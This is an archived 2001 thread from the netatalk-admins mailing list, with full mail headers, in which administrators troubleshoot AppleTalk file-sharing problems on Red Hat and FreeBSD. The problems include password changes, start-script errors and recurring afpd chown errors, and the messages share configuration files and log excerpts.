I want to be able to allow users to change their passwords?  How do I enable
this feature.  Every time I try I get an error that it was unable to save
the password.

Thanks

Heath Henderson



From netatalk.administrators-errors@umich.edu  Tue Feb 27 22:44:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA15764
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 22:44:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA17136
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 22:44:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA17126
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 22:44:11 -0500 (EST)
Received: from kakapo.cs.auckland.ac.nz (kakapo.cs.auckland.ac.nz [130.216.34.10])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA17093
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 22:44:09 -0500 (EST)
Received: from [130.216.108.120] (bobby.cs.auckland.ac.nz [130.216.108.120]) by kakapo.cs.auckland.ac.nz (8.8.6/8.8.6/cs-master) with ESMTP id QAA03301 for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 16:44:06 +1300 (NZDT) (sender bobby@cs.auckland.ac.nz)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 01 Mar 2001 12:48:23 +1300
Subject: start script 
From: Paramjit Cheema <bobby@cs.auckland.ac.nz>
To: <netatalk-admins@umich.edu>
Message-ID: <B6C3F597.1F76%bobby@cs.auckland.ac.nz>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

i have just installed netatalk netatalk-1.4b2+asun2.1.3 on red hat 7.1 .
When i tried to run /rc.atalk.redhat start   i got the followin error


starting appletalk daemons: 5280.221: attribute not found.
 atalkdnbp_rgstr: Connection timed out
Can't register griffin:Workstation@*
nbp_rgstr: Connection timed out
Can't register griffin:netatalk@*
 nbprgstr papd.

any help would be greatly appreciated



cheers

bobby 


From netatalk.administrators-errors@umich.edu  Wed Feb 28 00:39:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA18784
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 00:39:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA02416
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 00:39:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA02411
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 00:39:38 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA02400
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 00:39:37 -0500 (EST)
Received: from n37-39.berlin.snafu.de ([195.21.37.39] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14XzKw-0005aT-00
	for netatalk-admins@umich.edu; Wed, 28 Feb 2001 06:39:42 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id GAA01969
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 06:39:16 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: start script
Date: Wed, 28 Feb 2001 06:38:48 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <B6C3F597.1F76%bobby@cs.auckland.ac.nz>
In-Reply-To: <B6C3F597.1F76%bobby@cs.auckland.ac.nz>
MIME-Version: 1.0
Message-Id: <01022806374100.00588@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id AAA18784

On Thu, 01 Mar 2001, Paramjit Cheema wrote:
> i have just installed netatalk netatalk-1.4b2+asun2.1.3 on red hat 7.1 .
> When i tried to run /rc.atalk.redhat start   i got the followin error

I would recommend NOT to place your starup script in your root directory
but somewhere in /sbin/init.d, /etc/rc.d, or whereever your start/shutdown scripts are
located!

> 
> 
> starting appletalk daemons: 5280.221: attribute not found.
>  atalkdnbp_rgstr: Connection timed out
> Can't register griffin:Workstation@*
> nbp_rgstr: Connection timed out
> Can't register griffin:netatalk@*
>  nbprgstr papd.

Is appletalk compiled into your kernel or as a module?
How does your atalkd.conf file look?
Are the DDP ports in your /etc/services?

> 
> any help would be greatly appreciated
> 
> 
> 
> cheers
> 
> bobby

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Feb 28 10:12:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA01072
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 10:12:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA01076
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 10:12:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA01053
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 10:12:36 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA00999
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 10:12:34 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id KAA31508;
	Wed, 28 Feb 2001 10:12:17 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A9D14BF.75D0848E@univrel.pr.uconn.edu>
Date: Wed, 28 Feb 2001 10:09:51 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Heath Henderson <heath@dave-world.net>
CC: netatalk-admins@umich.edu
Subject: Re: Password Change ?
References: <NDBBLIPGCLLELIOOICKOOEDODKAA.heath@dave-world.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Heath Henderson wrote:
> I am using RH 6.2 with encrypted Passwords and OS 8.6 / 9.x
> 
> I want to be able to allow users to change their passwords?  How do I enable
> this feature.  Every time I try I get an error that it was unable to save
> the password.

Are you using randnum authentication? If you are, the
/etc/atalk/afppasswd file (or wherever it is on your system) needs to
have the ability to be world readable/writable, which is a security
hazard. There is support in the code for ~/.afppasswd files, which is
currently disabled, I believe.

jeff

From netatalk.administrators-errors@umich.edu  Wed Feb 28 12:53:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA06096
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 12:53:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14393
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 12:53:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14381
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 12:53:29 -0500 (EST)
Received: from schilling.ucdavis.edu (schilling.ucdavis.edu [169.237.105.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA14355
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 12:53:27 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-3-62.ucdavis.edu [169.237.17.62])
	by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1SHrKh02308;
	Wed, 28 Feb 2001 09:53:20 -0800 (PST)
Message-Id: <5.0.2.1.0.20010228093339.00a6bc20@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 28 Feb 2001 09:49:09 -0800
To: "Florian Schedler" <FlorianSchedler@gmx.de>,
        "Netatalk Mailing List" <netatalk-admins@umich.edu>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: chown invalid argument (was: Re: AW: Still Only Cleartext)
In-Reply-To: <OFEKJJPNHONBICNFNHNOOEFOCEAA.FlorianSchedler@gmx.de>
References: <Pine.LNX.4.30.0102222035380.808-100000@www.molbio.wisc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Looks familiar to me too.

If you're using a netatalk 1.5 prerelease and you have either ADMIN_GRP or 
DROPKLUDGE turned on, I think that's my bailiwick and I need to know what 
platform and flavor you two using to fix it (e.g. Red Hat Linux 7, FreeBSD, 
Debian Linux 2.2, etc.).  That's an awfully large uid, though... 16 million 
user names is a lot.  Is it possible that the number is too big and we've 
run into a limitation of chown?

To be honest, my priorities are actually elsewhere at the moment.  That's 
the trouble with being a student employee with no one to take my place when 
I graduate; everything has to get done ASAP and left in good order and I 
only have two or maybe three weeks left.  Since this looks like it could be 
a mission-critical thing for my group as well, I'm willing to bump it up to 
the top of my list if no one else is willing to work on 
it.  (translation:  will someone *please* investigate so that I don't have to?)

At 11:22 PM 2/23/01 +0100, Florian Schedler wrote:
>About your last log. The same thing happened to me today. As a result, when
>I try to move a file into that directory i get a popup telling me I don't
>have enough rights, but the file gets copied anyways. How can you give afpd
>enough permissions to perform this operation?
>
> > What the heck is this???
> >
> > Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
> > .AppleDouble/.Parent: Invalid argument
> > Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
> > .AppleDouble: Invalid argument
> > Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1 .:
> > Invalid argument
> > Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown -1/0
> > .AppleDouble/.Parent: Operation not permitted
> > Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
> > .AppleDouble/.Parent: Invalid argument
> > Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1
> > .AppleDouble: Invalid argument
> > Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown 16777216/-1 .:
> > Invalid argument
> > Feb 22 10:49:25 itchy afpd[3038]: setdirowner: chown -1/0
> > .AppleDouble/.Parent: Operation not permitted


From netatalk.administrators-errors@umich.edu  Wed Feb 28 12:53:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA06112
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 12:53:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA02160
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 12:53:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA02142
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 12:53:29 -0500 (EST)
Received: from schilling.ucdavis.edu (schilling.ucdavis.edu [169.237.105.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA02100
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 12:53:28 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-3-62.ucdavis.edu [169.237.17.62])
	by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1SHrMh02319;
	Wed, 28 Feb 2001 09:53:22 -0800 (PST)
Message-Id: <5.0.2.1.0.20010228095040.00a6a010@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 28 Feb 2001 09:52:49 -0800
To: "Heath Henderson" <heath@dave-world.net>, <netatalk-admins@umich.edu>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: Password Change ?
In-Reply-To: <NDBBLIPGCLLELIOOICKOOEDODKAA.heath@dave-world.net>
References: <200102272219.RAA27737@easycomeeasygo.mr.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Support for that is there; I've seen it in the afpd code.  You're not using 
NIS, are you?  (if you are, I don't think netatalk knows to use the NIS/YP 
procedures to change it).

At 08:20 PM 2/27/01 -0600, Heath Henderson wrote:
>I am using RH 6.2 with encrypted Passwords and OS 8.6 / 9.x
>
>I want to be able to allow users to change their passwords?  How do I enable
>this feature.  Every time I try I get an error that it was unable to save
>the password.
>
>Thanks
>
>Heath Henderson


From netatalk.administrators-errors@umich.edu  Wed Feb 28 13:05:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA06686
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 13:05:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA28979
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 13:05:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA28957
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 13:05:47 -0500 (EST)
Received: from franc.ucdavis.edu (franc.ucdavis.edu [169.237.105.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA28916
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 13:05:45 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-3-62.ucdavis.edu [169.237.17.62])
	by franc.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1SI5bP01195;
	Wed, 28 Feb 2001 10:05:37 -0800 (PST)
Message-Id: <5.0.2.1.0.20010228100139.00a6ac00@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 28 Feb 2001 10:05:50 -0800
To: Paramjit Cheema <bobby@cs.auckland.ac.nz>, <netatalk-admins@umich.edu>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: start script 
In-Reply-To: <B6C3F597.1F76%bobby@cs.auckland.ac.nz>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Ummm... unless you substituted the zone name for a * below, it looks like 
you haven't specified an Appletalk zone.  Either that or you don't have 
Appletalk support being loaded in your kernel / kernel modules.  If the 
latter is the case, your /var/log/messages file may specify that it 
couldn't find a module, given by its numerical designation only (should be 
aliased to atalk).

At 12:48 PM 3/1/01 +1300, Paramjit Cheema wrote:
>i have just installed netatalk netatalk-1.4b2+asun2.1.3 on red hat 7.1 .
>When i tried to run /rc.atalk.redhat start   i got the followin error
>
>
>starting appletalk daemons: 5280.221: attribute not found.
>  atalkdnbp_rgstr: Connection timed out
>Can't register griffin:Workstation@*
>nbp_rgstr: Connection timed out
>Can't register griffin:netatalk@*
>  nbprgstr papd.
>
>any help would be greatly appreciated
>
>
>
>cheers
>
>bobby


From netatalk.administrators-errors@umich.edu  Wed Feb 28 14:10:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09120
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 14:10:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA14224
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 14:10:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA14212
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 14:10:08 -0500 (EST)
Received: from ns.srz-berlin.de (ns.srz-berlin.de [212.5.11.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA14181
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 14:10:06 -0500 (EST)
Received: from srz-berlin.de (gw.srz-berlin.de [212.5.11.2])
	by ns.srz-berlin.de (8.8.7/8.8.7) with ESMTP id UAA21524;
	Wed, 28 Feb 2001 20:09:53 +0100
Sender: bringi@ns.srz-berlin.de
Message-ID: <3A9D4D6A.87EB6BF0@srz-berlin.de>
Date: Wed, 28 Feb 2001 20:11:38 +0100
From: Axel Bringenberg <A.Bringenberg@srz-berlin.de>
Organization: Satz-Rechen-Zentrum Berlin - Systemgruppe (http://www.srz.de)
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: de-DE, en
MIME-Version: 1.0
To: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
CC: Florian Schedler <FlorianSchedler@gmx.de>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
References: <Pine.LNX.4.30.0102222035380.808-100000@www.molbio.wisc.edu> <5.0.2.1.0.20010228093339.00a6bc20@127.0.0.1>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Marc,

"Marc J. Miller" schrieb:
> 
> Looks familiar to me too.
> 
> If you're using a netatalk 1.5 prerelease and you have either ADMIN_GRP or
> DROPKLUDGE turned on, I think that's my bailiwick and I need to know what
> platform and flavor you two using to fix it (e.g. Red Hat Linux 7, FreeBSD,
> Debian Linux 2.2, etc.).  That's an awfully large uid, though... 16 million
> user names is a lot.  Is it possible that the number is too big and we've
> run into a limitation of chown?

No, I don't think so. I've been fighting against the same problem too
and in my case I'm today the only user of a fresh installed rh7.0 box:

------------<snip>-----------------------------------
Feb 28 17:27:33 gromit afpd[18327]: cleartext login: bringi
Feb 28 17:27:33 gromit PAM_pwdb[18327]: (netatalk) session opened for
user bringi by (uid=0)
Feb 28 17:27:33 gromit afpd[18327]: login bringi (uid 500, gid 500)
Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
.AppleDouble/.Parent: Invalid argument
Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
.AppleDouble: Invalid argument
Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
Invalid argument
Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted
Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
.AppleDouble/.Parent: Invalid argument
Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
.AppleDouble: Invalid argument
Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
Invalid argument
Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted
Feb 28 17:28:01 gromit afpd[18327]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted
Feb 28 17:28:27 gromit afpd[18327]: logout bringi
------------<snip>-----------------------------------

This happens everytime while moving, copying or creating files -
directories are doing fine. Is it possible that some pieces of the new
(and broken) FORCE_UIDGID code is still active? Or is it maybee a
Redhat-only problem?

I've looked arround and found some similar messages in this list, all
reporting problems with
   setdirowner: chown -1/0 .: Operation not permitted
or setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
or setdirowner: chown 16777216/-1 .: Invalid argument
or setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument

Most of them using rh7.0 (or mdk) and netatalk since 1.5pre3.

In my case I've ...
- build a freshly RH7.0 box with all possible updates (incl.
kernel-2.2.17-14)
- build netatalk-1.5pre4 from source w/o ADMIN_GRP, DROPKLUDGE and
FORCE_UIDGID
- I'm the first and only additional user (uid 500/gid 500)
- the volume is totaly owned by me (maximum chowned and chmoded :-)
- tested with MacOS 7.5, 8.6 and 9.0

Axel.

From netatalk.administrators-errors@umich.edu  Wed Feb 28 14:20:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09646
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 14:20:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA14372
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 14:20:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA14360
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 14:20:05 -0500 (EST)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA14285
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 14:20:03 -0500 (EST)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id VAA04806
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 21:26:14 +0100
Message-ID: <3A9D4FB3.DAEAC40E@i-clue.de>
Date: Wed, 28 Feb 2001 20:21:23 +0100
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.75 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Mac List view updating continuously - Fix?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dear List,

netatalk-1.4b2+asun2.1.3 running on a FreeBSD server configured with 50
connections. (Exact configuration follows below.)

When viewing the apple volumes in list view, the Finder continuously
updates the list view. I.e. the info bar at the top of the window shows
anything between 650 and 670 objects in the list view, starting with the
lowest number, then growing until the maximum is reached, where it drops
again to the lowest number.

The server shows this behavior even when the network is completely idle
(only one Mac client).

Any hints?

-Christoph Sold

[Configuration data follows]

$ uname -a
FreeBSD amnesix.i-clue.de 4.2-STABLE FreeBSD 4.2-STABLE #4: Tue Feb 13
18:11:45
CET 2001     so@amnesix.i-clue.de:/usr/src/sys/compile/AMNESIX-4.2-S 
i386
$ cat atalkd.conf
fxp0 -phase 2 -net 0-65534 -addr 65280.119
$ cat afpd.conf
- -nocleartext -nosavepassword -nouservol -nodebug
$ cat AppleVolumes.default
~ options=noadouble
/usr/local/www Spielwiese options=noadouble access=@lusers
/usr/tmp tmp options=noadouble access=@lusers
/f/programme Programme options=noadouble access=@lusers
/f/projekte Projekte options=noadouble access=@lusers
$ pkg_info -aI|grep netatalk
netatalk-1.4b2+asun2.1.3

From netatalk.administrators-errors@umich.edu  Wed Feb 28 14:36:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA10343
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Feb 2001 14:36:25 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA09034
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Feb 2001 14:36:25 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA09006
	for netatalk.administrators-members@umich.edu; Wed, 28 Feb 2001 14:36:24 -0500 (EST)
Received: from dfw-smtpout4.email.verio.net (dfw-smtpout4.email.verio.net [129.250.36.44])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA08885
	for <netatalk-admins@umich.edu>; Wed, 28 Feb 2001 14:36:19 -0500 (EST)
Received: from [129.250.38.62] (helo=dfw-mmp2.email.verio.net)
	by dfw-smtpout4.email.verio.net with esmtp
	id 14YCOZ-0006iu-00
	for netatalk-admins@umich.edu; Wed, 28 Feb 2001 19:36:19 +0000
Received: from [64.108.217.192] (helo=[64.108.217.192])
	by dfw-mmp2.email.verio.net with esmtp
	id 14YCOY-0005XH-00
	for netatalk-admins@umich.edu; Wed, 28 Feb 2001 19:36:18 +0000
Mime-Version: 1.0
X-Sender: keith@pop.wwa.com
Message-Id: <p04330100b6c300cf0a27@[64.108.217.40]>
In-Reply-To: <3A9D4D6A.87EB6BF0@srz-berlin.de>
References: <Pine.LNX.4.30.0102222035380.808-100000@www.molbio.wisc.edu>
 <5.0.2.1.0.20010228093339.00a6bc20@127.0.0.1>
 <3A9D4D6A.87EB6BF0@srz-berlin.de>
Date: Wed, 28 Feb 2001 13:32:20 -0600
To: Netatalk Mailing List <netatalk-admins@umich.edu>
From: Keith Lamont <keith@webwalla.com>
Subject: Re: chown invalid argument (was: Re: AW: Still Only Cleartext)
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Same here, except I tried the .rpm before building from scratch, and 
only tested against Mac OS 9. I'm not a total stranger to netatalk; 
had it running with RH 5.2 on another box.

Keith

>Hi Marc,
>
>"Marc J. Miller" schrieb:
>>
>>  Looks familiar to me too.
>>
>>  If you're using a netatalk 1.5 prerelease and you have either ADMIN_GRP or
>>  DROPKLUDGE turned on, I think that's my bailiwick and I need to know what
>>  platform and flavor you two using to fix it (e.g. Red Hat Linux 7, FreeBSD,
>>  Debian Linux 2.2, etc.).  That's an awfully large uid, though... 16 million
>>  user names is a lot.  Is it possible that the number is too big and we've
>>  run into a limitation of chown?
>
>No, I don't think so. I've been fighting against the same problem too
>and in my case I'm today the only user of a fresh installed rh7.0 box:
>
>------------<snip>-----------------------------------
>Feb 28 17:27:33 gromit afpd[18327]: cleartext login: bringi
>Feb 28 17:27:33 gromit PAM_pwdb[18327]: (netatalk) session opened for
>user bringi by (uid=0)
>Feb 28 17:27:33 gromit afpd[18327]: login bringi (uid 500, gid 500)
>Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
>.AppleDouble/.Parent: Invalid argument
>Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
>.AppleDouble: Invalid argument
>Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
>Invalid argument
>Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
>.AppleDouble/.Parent: Operation not permitted
>Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
>.AppleDouble/.Parent: Invalid argument
>Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
>.AppleDouble: Invalid argument
>Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
>Invalid argument
>Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
>.AppleDouble/.Parent: Operation not permitted
>Feb 28 17:28:01 gromit afpd[18327]: setdirowner: chown -1/0
>.AppleDouble/.Parent: Operation not permitted
>Feb 28 17:28:27 gromit afpd[18327]: logout bringi
>------------<snip>-----------------------------------
>
>This happens everytime while moving, copying or creating files -
>directories are doing fine. Is it possible that some pieces of the new
>(and broken) FORCE_UIDGID code is still active? Or is it maybee a
>Redhat-only problem?
>
>I've looked arround and found some similar messages in this list, all
>reporting problems with
>    setdirowner: chown -1/0 .: Operation not permitted
>or setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
>or setdirowner: chown 16777216/-1 .: Invalid argument
>or setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument
>
>Most of them using rh7.0 (or mdk) and netatalk since 1.5pre3.
>
>In my case I've ...
>- build a freshly RH7.0 box with all possible updates (incl.
>kernel-2.2.17-14)
